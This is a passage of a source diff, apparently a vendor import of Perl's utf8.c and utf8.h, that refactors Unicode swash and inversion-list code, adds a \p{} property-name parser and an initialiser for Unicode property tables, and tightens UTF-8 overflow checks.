-			    Perl_croak(aTHX_ "panic: av_fetch() unexpectedly failed");
-			}
-
-			/* When i==j this adds itself to the list */
-			av_push(i_list, newSVuv(utf8_to_uvchr_buf(
-					(U8*) SvPVX(*entryp),
-					(U8*) SvPVX(*entryp) + SvCUR(*entryp),
-					0)));
-			/*DEBUG_U(PerlIO_printf(Perl_debug_log, "%s: %d: Adding %" UVXf " to list for %" UVXf "\n", __FILE__, __LINE__, valid_utf8_to_uvchr((U8*) SvPVX(*entryp), 0), u));*/
-		    }
-		}
-	    }
-	}
-	SvREFCNT_dec(specials_inverse); /* done with it */
-    } /* End of specials */
-
-    /* read $swash->{LIST} */
-
-#if    UNICODE_MAJOR_VERSION   == 3         \
-    && UNICODE_DOT_VERSION     == 0         \
-    && UNICODE_DOT_DOT_VERSION == 1
-
-    /* For this version only U+130 and U+131 are equivalent under qr//i.  Add a
-     * rule so that things work under /iaa and /il */
-
-    SV * mod_listsv = sv_mortalcopy(*listsvp);
-    sv_catpv(mod_listsv, "130\t130\t131\n");
-    l = (U8*)SvPV(mod_listsv, lcur);
-
-#else
-
-    l = (U8*)SvPV(*listsvp, lcur);
-
-#endif
-
-    lend = l + lcur;
-
-    /* Go through each input line */
-    while (l < lend) {
-	UV min, max, val;
-	UV inverse;
-	l = swash_scan_list_line(l, lend, &min, &max, &val,
-                                                     cBOOL(octets), typestr);
-	if (l > lend) {
-	    break;
-	}
-
-	/* Each element in the range is to be inverted */
-	for (inverse = min; inverse <= max; inverse++) {
-	    AV* list;
-	    SV** listp;
-	    IV i;
-	    bool found_key = FALSE;
-	    bool found_inverse = FALSE;
-
-	    /* The key is the inverse mapping */
-	    char key[UTF8_MAXBYTES+1];
-	    char* key_end = (char *) uvchr_to_utf8((U8*) key, val);
-	    STRLEN key_len = key_end - key;
-
-	    /* Get the list for the map */
-	    if ((listp = hv_fetch(ret, key, key_len, FALSE))) {
-		list = (AV*) *listp;
-	    }
-	    else { /* No entry yet for it: create one */
-		list = newAV();
-		if (! hv_store(ret, key, key_len, (SV*) list, FALSE)) {
-		    Perl_croak(aTHX_ "panic: hv_store() unexpectedly failed");
-		}
-	    }
-
-	    /* Look through list to see if this inverse mapping already is
-	     * listed, or if there is a mapping to itself already */
-	    for (i = 0; i <= av_tindex_skip_len_mg(list); i++) {
-		SV** entryp = av_fetch(list, i, FALSE);
-		SV* entry;
-		UV uv;
-		if (entryp == NULL) {
-		    Perl_croak(aTHX_ "panic: av_fetch() unexpectedly failed");
-		}
-		entry = *entryp;
-		uv = SvUV(entry);
-		/*DEBUG_U(PerlIO_printf(Perl_debug_log, "list for %" UVXf " contains %" UVXf "\n", val, uv));*/
-		if (uv == val) {
-		    found_key = TRUE;
-		}
-		if (uv == inverse) {
-		    found_inverse = TRUE;
-		}
-
-		/* No need to continue searching if found everything we are
-		 * looking for */
-		if (found_key && found_inverse) {
-		    break;
-		}
-	    }
-
-	    /* Make sure there is a mapping to itself on the list */
-	    if (! found_key) {
-		av_push(list, newSVuv(val));
-		/*DEBUG_U(PerlIO_printf(Perl_debug_log, "%s: %d: Adding %" UVXf " to list for %" UVXf "\n", __FILE__, __LINE__, val, val));*/
-	    }
-
-
-	    /* Simply add the value to the list */
-	    if (! found_inverse) {
-		av_push(list, newSVuv(inverse));
-		/*DEBUG_U(PerlIO_printf(Perl_debug_log, "%s: %d: Adding %" UVXf " to list for %" UVXf "\n", __FILE__, __LINE__, inverse, val));*/
-	    }
-
-	    /* swatch_get() increments the value of val for each element in the
-	     * range.  That makes more compact tables possible.  You can
-	     * express the capitalization, for example, of all consecutive
-	     * letters with a single line: 0061\t007A\t0041 This maps 0061 to
-	     * 0041, 0062 to 0042, etc.  I (khw) have never understood 'none',
-	     * and it's not documented; it appears to be used only in
-	     * implementing tr//; I copied the semantics from swatch_get(), just
-	     * in case */
-	    if (!none || val < none) {
-		++val;
-	    }
-	}
-    }
-
-    return ret;
-}
-
 SV*
 Perl__swash_to_invlist(pTHX_ SV* const swash)
 {
@@ -4770,7 +5189,8 @@
         /* The first number is a count of the rest */
         l++;
         if (!grok_atoUV((const char *)l, &elements, &after_atou)) {
-            Perl_croak(aTHX_ "panic: Expecting a valid count of elements at start of inversion list");
+            Perl_croak(aTHX_ "panic: Expecting a valid count of elements"
+                             " at start of inversion list");
         }
         if (elements == 0) {
             invlist = _new_invlist(0);
@@ -4778,23 +5198,30 @@
         else {
             l = (U8 *) after_atou;
 
-            /* Get the 0th element, which is needed to setup the inversion list */
+            /* Get the 0th element, which is needed to setup the inversion list
+             * */
             while (isSPACE(*l)) l++;
             if (!grok_atoUV((const char *)l, &element0, &after_atou)) {
-                Perl_croak(aTHX_ "panic: Expecting a valid 0th element for inversion list");
+                Perl_croak(aTHX_ "panic: Expecting a valid 0th element for"
+                                 " inversion list");
             }
             l = (U8 *) after_atou;
-            invlist = _setup_canned_invlist(elements, element0, &other_elements_ptr);
+            invlist = _setup_canned_invlist(elements, element0,
+                                            &other_elements_ptr);
             elements--;
 
             /* Then just populate the rest of the input */
             while (elements-- > 0) {
                 if (l > lend) {
-                    Perl_croak(aTHX_ "panic: Expecting %" UVuf " more elements than available", elements);
+                    Perl_croak(aTHX_ "panic: Expecting %" UVuf " more"
+                                     " elements than available", elements);
                 }
                 while (isSPACE(*l)) l++;
-                if (!grok_atoUV((const char *)l, other_elements_ptr++, &after_atou)) {
-                    Perl_croak(aTHX_ "panic: Expecting a valid element in inversion list");
+                if (!grok_atoUV((const char *)l, other_elements_ptr++,
+                                 &after_atou))
+                {
+                    Perl_croak(aTHX_ "panic: Expecting a valid element"
+                                     " in inversion list");
                 }
                 l = (U8 *) after_atou;
             }
@@ -4806,7 +5233,7 @@
          * size based on worst possible case, which is each line in the input
          * creates 2 elements in the inversion list: 1) the beginning of a
          * range in the list; 2) the beginning of a range not in the list.  */
-        while ((loc = (strchr(loc, '\n'))) != NULL) {
+        while ((loc = (char *) memchr(loc, '\n', lend - (U8 *) loc)) != NULL) {
             elements += 2;
             loc++;
         }
@@ -4949,12 +5376,10 @@
 Perl_check_utf8_print(pTHX_ const U8* s, const STRLEN len)
 {
     /* May change: warns if surrogates, non-character code points, or
-     * non-Unicode code points are in s which has length len bytes.  Returns
-     * TRUE if none found; FALSE otherwise.  The only other validity check is
-     * to make sure that this won't exceed the string's length.
-     *
-     * Code points above the platform's C<IV_MAX> will raise a deprecation
-     * warning, unless those are turned off.  */
+     * non-Unicode code points are in 's' which has length 'len' bytes.
+     * Returns TRUE if none found; FALSE otherwise.  The only other validity
+     * check is to make sure that this won't exceed the string's length nor
+     * overflow */
 
     const U8* const e = s + len;
     bool ok = TRUE;
@@ -4970,22 +5395,10 @@
 	if (UNLIKELY(isUTF8_POSSIBLY_PROBLEMATIC(*s))) {
 	    if (UNLIKELY(UTF8_IS_SUPER(s, e))) {
                 if (   ckWARN_d(WARN_NON_UNICODE)
-                    || (   ckWARN_d(WARN_DEPRECATED)
-#ifndef UV_IS_QUAD
-                        && UNLIKELY(is_utf8_cp_above_31_bits(s, e))
-#else   /* Below is 64-bit words */
-                        /* 2**63 and up meet these conditions provided we have
-                         * a 64-bit word. */
-#   ifdef EBCDIC
-                        && *s == 0xFE
-                        && NATIVE_UTF8_TO_I8(s[1]) >= 0xA8
-#   else
-                        && *s == 0xFF
-                           /* s[1] being above 0x80 overflows */
-                        && s[2] >= 0x88
-#   endif
-#endif
-                )) {
+                    || UNLIKELY(0 < does_utf8_overflow(s, s + len,
+                                               0 /* Don't consider overlongs */
+                                               )))
+                {
                     /* A side effect of this function will be to warn */
                     (void) utf8n_to_uvchr(s, e - s, NULL, UTF8_WARN_SUPER);
                     ok = FALSE;
@@ -4998,11 +5411,14 @@
                      * do for the non-chars and above-unicodes */
 		    UV uv = utf8_to_uvchr_buf(s, e, NULL);
 		    Perl_warner(aTHX_ packWARN(WARN_SURROGATE),
-			"Unicode surrogate U+%04" UVXf " is illegal in UTF-8", uv);
+			"Unicode surrogate U+%04" UVXf " is illegal in UTF-8",
+                                             uv);
 		    ok = FALSE;
 		}
 	    }
-	    else if (UNLIKELY(UTF8_IS_NONCHAR(s, e)) && (ckWARN_d(WARN_NONCHAR))) {
+	    else if (   UNLIKELY(UTF8_IS_NONCHAR(s, e))
+                     && (ckWARN_d(WARN_NONCHAR)))
+            {
                 /* A side effect of this function will be to warn */
                 (void) utf8n_to_uvchr(s, e - s, NULL, UTF8_WARN_NONCHAR);
 		ok = FALSE;
@@ -5034,7 +5450,8 @@
 
 =cut */
 char *
-Perl_pv_uni_display(pTHX_ SV *dsv, const U8 *spv, STRLEN len, STRLEN pvlim, UV flags)
+Perl_pv_uni_display(pTHX_ SV *dsv, const U8 *spv, STRLEN len, STRLEN pvlim,
+                          UV flags)
 {
     int truncated = 0;
     const char *s, *e;
@@ -5123,28 +5540,28 @@
 /*
 =for apidoc foldEQ_utf8
 
-Returns true if the leading portions of the strings C<s1> and C<s2> (either or both
-of which may be in UTF-8) are the same case-insensitively; false otherwise.
-How far into the strings to compare is determined by other input parameters.
+Returns true if the leading portions of the strings C<s1> and C<s2> (either or
+both of which may be in UTF-8) are the same case-insensitively; false
+otherwise.  How far into the strings to compare is determined by other input
+parameters.
 
 If C<u1> is true, the string C<s1> is assumed to be in UTF-8-encoded Unicode;
-otherwise it is assumed to be in native 8-bit encoding.  Correspondingly for C<u2>
-with respect to C<s2>.
+otherwise it is assumed to be in native 8-bit encoding.  Correspondingly for
+C<u2> with respect to C<s2>.
 
-If the byte length C<l1> is non-zero, it says how far into C<s1> to check for fold
-equality.  In other words, C<s1>+C<l1> will be used as a goal to reach.  The
-scan will not be considered to be a match unless the goal is reached, and
-scanning won't continue past that goal.  Correspondingly for C<l2> with respect to
-C<s2>.
+If the byte length C<l1> is non-zero, it says how far into C<s1> to check for
+fold equality.  In other words, C<s1>+C<l1> will be used as a goal to reach.
+The scan will not be considered to be a match unless the goal is reached, and
+scanning won't continue past that goal.  Correspondingly for C<l2> with respect
+to C<s2>.
 
-If C<pe1> is non-C<NULL> and the pointer it points to is not C<NULL>, that pointer is
-considered an end pointer to the position 1 byte past the maximum point
-in C<s1> beyond which scanning will not continue under any circumstances.
+If C<pe1> is non-C<NULL> and the pointer it points to is not C<NULL>, that
+pointer is considered an end pointer to the position 1 byte past the maximum
+point in C<s1> beyond which scanning will not continue under any circumstances.
 (This routine assumes that UTF-8 encoded input strings are not malformed;
-malformed input can cause it to read past C<pe1>).
-This means that if both C<l1> and C<pe1> are specified, and C<pe1>
-is less than C<s1>+C<l1>, the match will never be successful because it can
-never
+malformed input can cause it to read past C<pe1>).  This means that if both
+C<l1> and C<pe1> are specified, and C<pe1> is less than C<s1>+C<l1>, the match
+will never be successful because it can never
 get as far as its goal (and in fact is asserted against).  Correspondingly for
 C<pe2> with respect to C<s2>.
 
@@ -5186,7 +5603,9 @@
  *  FOLDEQ_S2_FOLDS_SANE
  */
 I32
-Perl_foldEQ_utf8_flags(pTHX_ const char *s1, char **pe1, UV l1, bool u1, const char *s2, char **pe2, UV l2, bool u2, U32 flags)
+Perl_foldEQ_utf8_flags(pTHX_ const char *s1, char **pe1, UV l1, bool u1,
+                             const char *s2, char **pe2, UV l2, bool u2,
+                             U32 flags)
 {
     const U8 *p1  = (const U8*)s1; /* Point to current char */
     const U8 *p2  = (const U8*)s2;
@@ -5393,7 +5812,7 @@
 {
     PERL_ARGS_ASSERT_UVUNI_TO_UTF8;
 
-    return Perl_uvoffuni_to_utf8_flags(aTHX_ d, uv, 0);
+    return uvoffuni_to_utf8_flags(d, uv, 0);
 }
 
 /*
@@ -5444,6 +5863,422 @@
     return uvoffuni_to_utf8_flags(d, uv, flags);
 }
 
+void
+Perl_init_uniprops(pTHX)
+{
+    /* Set up the inversion list global variables */
+
+    PL_XPosix_ptrs[_CC_ASCII] = _new_invlist_C_array(PL_ASCII_invlist);
+    PL_XPosix_ptrs[_CC_ALPHANUMERIC] = _new_invlist_C_array(PL_XPOSIXALNUM_invlist);
+    PL_XPosix_ptrs[_CC_ALPHA] = _new_invlist_C_array(PL_XPOSIXALPHA_invlist);
+    PL_XPosix_ptrs[_CC_BLANK] = _new_invlist_C_array(PL_XPOSIXBLANK_invlist);
+    PL_XPosix_ptrs[_CC_CASED] =  _new_invlist_C_array(PL_CASED_invlist);
+    PL_XPosix_ptrs[_CC_CNTRL] = _new_invlist_C_array(PL_XPOSIXCNTRL_invlist);
+    PL_XPosix_ptrs[_CC_DIGIT] = _new_invlist_C_array(PL_XPOSIXDIGIT_invlist);
+    PL_XPosix_ptrs[_CC_GRAPH] = _new_invlist_C_array(PL_XPOSIXGRAPH_invlist);
+    PL_XPosix_ptrs[_CC_LOWER] = _new_invlist_C_array(PL_XPOSIXLOWER_invlist);
+    PL_XPosix_ptrs[_CC_PRINT] = _new_invlist_C_array(PL_XPOSIXPRINT_invlist);
+    PL_XPosix_ptrs[_CC_PUNCT] = _new_invlist_C_array(PL_XPOSIXPUNCT_invlist);
+    PL_XPosix_ptrs[_CC_SPACE] = _new_invlist_C_array(PL_XPOSIXSPACE_invlist);
+    PL_XPosix_ptrs[_CC_UPPER] = _new_invlist_C_array(PL_XPOSIXUPPER_invlist);
+    PL_XPosix_ptrs[_CC_VERTSPACE] = _new_invlist_C_array(PL_VERTSPACE_invlist);
+    PL_XPosix_ptrs[_CC_WORDCHAR] = _new_invlist_C_array(PL_XPOSIXWORD_invlist);
+    PL_XPosix_ptrs[_CC_XDIGIT] = _new_invlist_C_array(PL_XPOSIXXDIGIT_invlist);
+    PL_GCB_invlist = _new_invlist_C_array(_Perl_GCB_invlist);
+    PL_SB_invlist = _new_invlist_C_array(_Perl_SB_invlist);
+    PL_WB_invlist = _new_invlist_C_array(_Perl_WB_invlist);
+    PL_LB_invlist = _new_invlist_C_array(_Perl_LB_invlist);
+    PL_Assigned_invlist = _new_invlist_C_array(PL_ASSIGNED_invlist);
+    PL_SCX_invlist = _new_invlist_C_array(_Perl_SCX_invlist);
+    PL_utf8_toupper = _new_invlist_C_array(Uppercase_Mapping_invlist);
+    PL_utf8_tolower = _new_invlist_C_array(Lowercase_Mapping_invlist);
+    PL_utf8_totitle = _new_invlist_C_array(Titlecase_Mapping_invlist);
+    PL_utf8_tofold = _new_invlist_C_array(Case_Folding_invlist);
+    PL_utf8_tosimplefold = _new_invlist_C_array(Simple_Case_Folding_invlist);
+    PL_utf8_perl_idstart = _new_invlist_C_array(PL__PERL_IDSTART_invlist);
+    PL_utf8_perl_idcont = _new_invlist_C_array(PL__PERL_IDCONT_invlist);
+    PL_AboveLatin1 = _new_invlist_C_array(AboveLatin1_invlist);
+    PL_Latin1 = _new_invlist_C_array(Latin1_invlist);
+    PL_UpperLatin1 = _new_invlist_C_array(UpperLatin1_invlist);
+    PL_utf8_foldable = _new_invlist_C_array(PL__PERL_ANY_FOLDS_invlist);
+    PL_HasMultiCharFold = _new_invlist_C_array(
+                                         PL__PERL_FOLDS_TO_MULTI_CHAR_invlist);
+    PL_NonL1NonFinalFold = _new_invlist_C_array(
+                                            NonL1_Perl_Non_Final_Folds_invlist);
+    PL_utf8_charname_begin = _new_invlist_C_array(PL__PERL_CHARNAME_BEGIN_invlist);
+    PL_utf8_charname_continue = _new_invlist_C_array(PL__PERL_CHARNAME_CONTINUE_invlist);
+    PL_utf8_foldclosures = _new_invlist_C_array(_Perl_IVCF_invlist);
+}
+
+SV *
+Perl_parse_uniprop_string(pTHX_ const char * const name, const Size_t len, const bool to_fold, bool * invert)
+{
+    /* Parse the interior meat of \p{} passed to this in 'name' with length 'len',
+     * and return an inversion list if a property with 'name' is found, or NULL
+     * if not.  'name' point to the input with leading and trailing space trimmed.
+     * 'to_fold' indicates if /i is in effect.
+     *
+     * When the return is an inversion list, '*invert' will be set to a boolean
+     * indicating if it should be inverted or not
+     *
+     * This currently doesn't handle all cases.  A NULL return indicates the
+     * caller should try a different approach
+     */
+
+    char* lookup_name;
+    bool stricter = FALSE;
+    unsigned int i;
+    unsigned int j = 0;
+    int equals_pos = -1;        /* Where the '=' is found, or negative if none */
+    int table_index = 0;
+    bool starts_with_In_or_Is = FALSE;
+    Size_t lookup_offset = 0;
+
+    PERL_ARGS_ASSERT_PARSE_UNIPROP_STRING;
+
+    /* The input will be modified into 'lookup_name' */
+    Newx(lookup_name, len, char);
+    SAVEFREEPV(lookup_name);
+
+    /* Parse the input. */
+    for (i = 0; i < len; i++) {
+        char cur = name[i];
+
+        /* These characters can be freely ignored in most situations.  Later it
+         * may turn out we shouldn't have ignored them, and we have to reparse,
+         * but we don't have enough information yet to make that decision */
+        if (cur == '-' || cur == '_' || isSPACE(cur)) {
+            continue;
+        }
+
+        /* Case differences are also ignored.  Our lookup routine assumes
+         * everything is lowercase */
+        if (isUPPER(cur)) {
+            lookup_name[j++] = toLOWER(cur);
+            continue;
+        }
+
+        /* A double colon is either an error, or a package qualifier to a
+         * subroutine user-defined property; neither of which do we currently
+         * handle
+         *
+         * But a single colon is a synonym for '=' */
+        if (cur == ':') {
+            if (i < len - 1 && name[i+1] == ':') {
+                return NULL;
+            }
+            cur = '=';
+        }
+
+        /* Otherwise, this character is part of the name. */
+        lookup_name[j++] = cur;
+
+        /* Only the equals sign needs further processing */
+        if (cur == '=') {
+            equals_pos = j; /* Note where it occurred in the input */
+            break;
+        }
+    }
+
+    /* Here, we are either done with the whole property name, if it was simple;
+     * or are positioned just after the '=' if it is compound. */
+
+    if (equals_pos >= 0) {
+        assert(! stricter); /* We shouldn't have set this yet */
+
+        /* Space immediately after the '=' is ignored */
+        i++;
+        for (; i < len; i++) {
+            if (! isSPACE(name[i])) {
+                break;
+            }
+        }
+
+        /* Certain properties need special handling.  They may optionally be
+         * prefixed by 'is'.  Ignore that prefix for the purposes of checking
+         * if this is one of those properties */
+        if (memBEGINPs(lookup_name, len, "is")) {
+            lookup_offset = 2;
+        }
+
+        /* Then check if it is one of these properties.  This is hard-coded
+         * because easier this way, and the list is unlikely to change */
+        if (   memEQs(lookup_name + lookup_offset,
+                      j - 1 - lookup_offset, "canonicalcombiningclass")
+            || memEQs(lookup_name + lookup_offset,
+                      j - 1 - lookup_offset, "ccc")
+            || memEQs(lookup_name + lookup_offset,
+                      j - 1 - lookup_offset, "numericvalue")
+            || memEQs(lookup_name + lookup_offset,
+                      j - 1 - lookup_offset, "nv")
+            || memEQs(lookup_name + lookup_offset,
+                      j - 1 - lookup_offset, "age")
+            || memEQs(lookup_name + lookup_offset,
+                      j - 1 - lookup_offset, "in")
+            || memEQs(lookup_name + lookup_offset,
+                      j - 1 - lookup_offset, "presentin"))
+        {
+            unsigned int k;
+
+            /* What makes these properties special is that the stuff after the
+             * '=' is a number.  Therefore, we can't throw away '-'
+             * willy-nilly, as those could be a minus sign.  Other stricter
+             * rules also apply.  However, these properties all can have the
+             * rhs not be a number, in which case they contain at least one
+             * alphabetic.  In those cases, the stricter rules don't apply.  We
+             * first parse to look for alphas */
+            stricter = TRUE;
+            for (k = i; k < len; k++) {
+                if (isALPHA(name[k])) {
+                    stricter = FALSE;
+                    break;
+                }
+            }
+        }
+
+        if (stricter) {
+
+            /* A number may have a leading '+' or '-'.  The latter is retained
+             * */
+            if (name[i] == '+') {
+                i++;
+            }
+            else if (name[i] == '-') {
+                lookup_name[j++] = '-';
+                i++;
+            }
+
+            /* Skip leading zeros including single underscores separating the
+             * zeros, or between the final leading zero and the first other
+             * digit */
+            for (; i < len - 1; i++) {
+                if (   name[i] != '0'
+                    && (name[i] != '_' || ! isDIGIT(name[i+1])))
+                {
+                    break;
+                }
+            }
+        }
+    }
+    else {  /* No '=' */
+
+       /* We are now in a position to determine if this property should have
+        * been parsed using stricter rules.  Only a few are like that, and
+        * unlikely to change. */
+        if (   (   memBEGINPs(lookup_name, j, "perl")
+                && memNEs(lookup_name + 4, j - 4, "space")
+                && memNEs(lookup_name + 4, j - 4, "word"))
+            || memEQs(lookup_name, j, "canondcij")
+            || memEQs(lookup_name, j, "combabove"))
+        {
+            stricter = TRUE;
+
+            /* We set the inputs back to 0 and the code below will reparse,
+             * using strict */
+            i = j = 0;
+        }
+    }
+
+    /* Here, we have either finished the property, or are positioned to parse
+     * the remainder, and we know if stricter rules apply.  Finish out, if not
+     * already done */
+    for (; i < len; i++) {
+        char cur = name[i];
+
+        /* In all instances, case differences are ignored, and we normalize to
+         * lowercase */
+        if (isUPPER(cur)) {
+            lookup_name[j++] = toLOWER(cur);
+            continue;
+        }
+
+        /* An underscore is skipped, but not under strict rules unless it
+         * separates two digits */
+        if (cur == '_') {
+            if (    stricter
+                && (     i == 0 || (int) i == equals_pos || i == len- 1
+                    || ! isDIGIT(name[i-1]) || ! isDIGIT(name[i+1])))
+            {
+                lookup_name[j++] = '_';
+            }
+            continue;
+        }
+
+        /* Hyphens are skipped except under strict */
+        if (cur == '-' && ! stricter) {
+            continue;
+        }
+
+        /* XXX Bug in documentation.  It says white space skipped adjacent to
+         * non-word char.  Maybe we should, but shouldn't skip it next to a dot
+         * in a number */
+        if (isSPACE(cur) && ! stricter) {
+            continue;
+        }
+
+        lookup_name[j++] = cur;
+
+        /* Unless this is a non-trailing slash, we are done with it */
+        if (i >= len - 1 || cur != '/') {
+            continue;
+        }
+
+        /* A slash in the 'numeric value' property indicates that what follows
+         * is a denominator.  It can have a leading '+' and '0's that should be
+         * skipped.  But we have never allowed a negative denominator, so treat
+         * a minus like every other character.  (No need to rule out a second
+         * '/', as that won't match anything anyway */
+        if (   memEQs(lookup_name + lookup_offset, equals_pos - lookup_offset,
+                      "nv=")
+            || memEQs(lookup_name + lookup_offset, equals_pos - lookup_offset,
+                      "numericvalue="))
+        {
+            i++;
+            if (i < len && name[i] == '+') {
+                i++;
+            }
+
+            /* Skip leading zeros including underscores separating digits */
+            for (; i < len - 1; i++) {
+                if (   name[i] != '0'
+                    && (name[i] != '_' || ! isDIGIT(name[i+1])))
+                {
+                    break;
+                }
+            }
+
+            /* Store the first real character in the denominator */
+            lookup_name[j++] = name[i];
+        }
+    }
+
+    /* Here are completely done parsing the input 'name', and 'lookup_name'
+     * contains a copy, normalized.
+     *
+     * This special case is grandfathered in: 'L_' and 'GC=L_' are accepted and
+     * different from without the underscores.  */
+    if (  (   UNLIKELY(memEQs(lookup_name, j, "l"))
+           || UNLIKELY(memEQs(lookup_name, j, "gc=l")))
+        && UNLIKELY(name[len-1] == '_'))
+    {
+        lookup_name[j++] = '&';
+    }
+    else if (len > 2 && name[0] == 'I' && (   name[1] == 'n' || name[1] == 's'))
+    {
+
+        /* Also, if the original input began with 'In' or 'Is', it could be a
+         * subroutine call instead of a property names, which currently isn't
+         * handled by this function.  Subroutine calls can't happen if there is
+         * an '=' in the name */
+        if (equals_pos < 0 && get_cvn_flags(name, len, GV_NOTQUAL) != NULL) {
+            return NULL;
+        }
+
+        starts_with_In_or_Is = TRUE;
+    }
+
+    /* Get the index into our pointer table of the inversion list corresponding
+     * to the property */
+    table_index = match_uniprop((U8 *) lookup_name, j);
+
+    /* If it didn't find the property */
+    if (table_index == 0) {
+
+        /* If didn't find the property, we try again stripping off any initial
+         * 'In' or 'Is' */
+        if (! starts_with_In_or_Is) {
+            return NULL;
+        }
+
+        lookup_name += 2;
+        j -= 2;
+
+        /* If still didn't find it, give up */
+        table_index = match_uniprop((U8 *) lookup_name, j);
+        if (table_index == 0) {
+            return NULL;
+        }
+    }
+
+    /* The return is an index into a table of ptrs.  A negative return
+     * signifies that the real index is the absolute value, but the result
+     * needs to be inverted */
+    if (table_index < 0) {
+        *invert = TRUE;
+        table_index = -table_index;
+    }
+    else {
+        *invert = FALSE;
+    }
+
+    /* Out-of band indices indicate a deprecated property.  The proper index is
+     * modulo it with the table size.  And dividing by the table size yields
+     * an offset into a table constructed to contain the corresponding warning
+     * message */
+    if (table_index > MAX_UNI_KEYWORD_INDEX) {
+        Size_t warning_offset = table_index / MAX_UNI_KEYWORD_INDEX;
+        table_index %= MAX_UNI_KEYWORD_INDEX;
+        Perl_ck_warner_d(aTHX_ packWARN(WARN_DEPRECATED),
+                "Use of '%.*s' in \\p{} or \\P{} is deprecated because: %s",
+                (int) len, name, deprecated_property_msgs[warning_offset]);
+    }
+
+    /* In a few properties, a different property is used under /i.  These are
+     * unlikely to change, so are hard-coded here. */
+    if (to_fold) {
+        if (   table_index == PL_XPOSIXUPPER
+            || table_index == PL_XPOSIXLOWER
+            || table_index == PL_LT)
+        {
+            table_index = PL_CASED;
+        }
+        else if (   table_index == PL_LU
+                 || table_index == PL_LL
+                 || table_index == PL_LT)
+        {
+            table_index = PL_L_AMP_;
+        }
+        else if (   table_index == PL_POSIXUPPER
+                 || table_index == PL_POSIXLOWER)
+        {
+            table_index = PL_POSIXALPHA;
+        }
+    }
+
+    /* Create and return the inversion list */
+    return _new_invlist_C_array(PL_uni_prop_ptrs[table_index]);
+}
+
 /*
+=for apidoc utf8_to_uvchr
+
+Returns the native code point of the first character in the string C<s>
+which is assumed to be in UTF-8 encoding; C<retlen> will be set to the
+length, in bytes, of that character.
+
+Some, but not all, UTF-8 malformations are detected, and in fact, some
+malformed input could cause reading beyond the end of the input buffer, which
+is why this function is deprecated.  Use L</utf8_to_uvchr_buf> instead.
+
+If C<s> points to one of the detected malformations, and UTF8 warnings are
+enabled, zero is returned and C<*retlen> is set (if C<retlen> isn't
+C<NULL>) to -1.  If those warnings are off, the computed value if well-defined (or
+the Unicode REPLACEMENT CHARACTER, if not) is silently returned, and C<*retlen>
+is set (if C<retlen> isn't NULL) so that (S<C<s> + C<*retlen>>) is the
+next possible position in C<s> that could begin a non-malformed character.
+See L</utf8n_to_uvchr> for details on when the REPLACEMENT CHARACTER is returned.
+
+=cut
+*/
+
+UV
+Perl_utf8_to_uvchr(pTHX_ const U8 *s, STRLEN *retlen)
+{
+    PERL_ARGS_ASSERT_UTF8_TO_UVCHR;
+
+    return utf8_to_uvchr_buf(s, s + UTF8_MAXBYTES, retlen);
+}
+
+/*
  * ex: set ts=8 sts=4 sw=4 et:
  */

Modified: vendor/perl/dist/utf8.h
===================================================================
--- vendor/perl/dist/utf8.h	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/utf8.h	2018-12-22 22:55:19 UTC (rev 12126)
@@ -14,8 +14,8 @@
  *
  */
 
-#ifndef H_UTF8      /* Guard against recursive inclusion */
-#define H_UTF8 1
+#ifndef PERL_UTF8_H_      /* Guard against recursive inclusion */
+#define PERL_UTF8_H_ 1
 
 /* Use UTF-8 as the default script encoding?
  * Turning this on will break scripts having non-UTF-8 binary
@@ -66,14 +66,20 @@
 #define is_ascii_string(s, len)     is_utf8_invariant_string(s, len)
 #define is_invariant_string(s, len) is_utf8_invariant_string(s, len)
 
+#define uvoffuni_to_utf8_flags(d,uv,flags)                                     \
+                               uvoffuni_to_utf8_flags_msgs(d, uv, flags, 0)
 #define uvchr_to_utf8(a,b)          uvchr_to_utf8_flags(a,b,0)
 #define uvchr_to_utf8_flags(d,uv,flags)                                        \
-                            uvoffuni_to_utf8_flags(d,NATIVE_TO_UNI(uv),flags)
+                                    uvchr_to_utf8_flags_msgs(d,uv,flags, 0)
+#define uvchr_to_utf8_flags_msgs(d,uv,flags,msgs)                              \
+                uvoffuni_to_utf8_flags_msgs(d,NATIVE_TO_UNI(uv),flags, msgs)
 #define utf8_to_uvchr_buf(s, e, lenp)                                          \
                      utf8n_to_uvchr(s, (U8*)(e) - (U8*)(s), lenp,              \
                                     ckWARN_d(WARN_UTF8) ? 0 : UTF8_ALLOW_ANY)
 #define utf8n_to_uvchr(s, len, lenp, flags)                                    \
                                 utf8n_to_uvchr_error(s, len, lenp, flags, 0)
+#define utf8n_to_uvchr_error(s, len, lenp, flags, errors)                      \
+                        utf8n_to_uvchr_msgs(s, len, lenp, flags, errors, 0)
 
 #define to_uni_fold(c, p, lenp) _to_uni_fold_flags(c, p, lenp, FOLD_FLAGS_FULL)
 
@@ -235,13 +241,6 @@
 
 */
 
-/* Anything larger than this will overflow the word if it were converted into a UV */
-#if defined(UV_IS_QUAD)
-#   define HIGHEST_REPRESENTABLE_UTF8  "\xFF\x80\x8F\xBF\xBF\xBF\xBF\xBF\xBF\xBF\xBF\xBF\xBF"
-#else
-#   define HIGHEST_REPRESENTABLE_UTF8  "\xFE\x83\xBF\xBF\xBF\xBF\xBF"
-#endif
-
 /* Is the representation of the Unicode code point 'cp' the same regardless of
  * being encoded in UTF-8 or not? */
 #define OFFUNI_IS_INVARIANT(cp)     isASCII(cp)
@@ -266,13 +265,15 @@
 /* Misleadingly named: is the UTF8-encoded byte 'c' part of a variant sequence
  * in UTF-8?  This is the inverse of UTF8_IS_INVARIANT.  The |0 makes sure this
  * isn't mistakenly called with a ptr argument */
-#define UTF8_IS_CONTINUED(c)        (((U8)((c) | 0)) &  UTF_CONTINUATION_MARK)
+#define UTF8_IS_CONTINUED(c)  (__ASSERT_(FITS_IN_8_BITS(c))                 \
+                               ((U8)((c) | 0)) &  UTF_CONTINUATION_MARK)
 
 /* Is the byte 'c' the first byte of a multi-byte UTF8-8 encoded sequence?
  * This doesn't catch invariants (they are single-byte).  It also excludes the
  * illegal overlong sequences that begin with C0 and C1.  The |0 makes sure
  * this isn't mistakenly called with a ptr argument */
-#define UTF8_IS_START(c)            (((U8)((c) | 0)) >= 0xc2)
+#define UTF8_IS_START(c)      (__ASSERT_(FITS_IN_8_BITS(c))                 \
+                               ((U8)((c) | 0)) >= 0xc2)
 
 /* For use in UTF8_IS_CONTINUATION() below */
 #define UTF_IS_CONTINUATION_MASK    0xC0
@@ -280,8 +281,8 @@
 /* Is the byte 'c' part of a multi-byte UTF8-8 encoded sequence, and not the
  * first byte thereof?  The |0 makes sure this isn't mistakenly called with a
  * ptr argument */
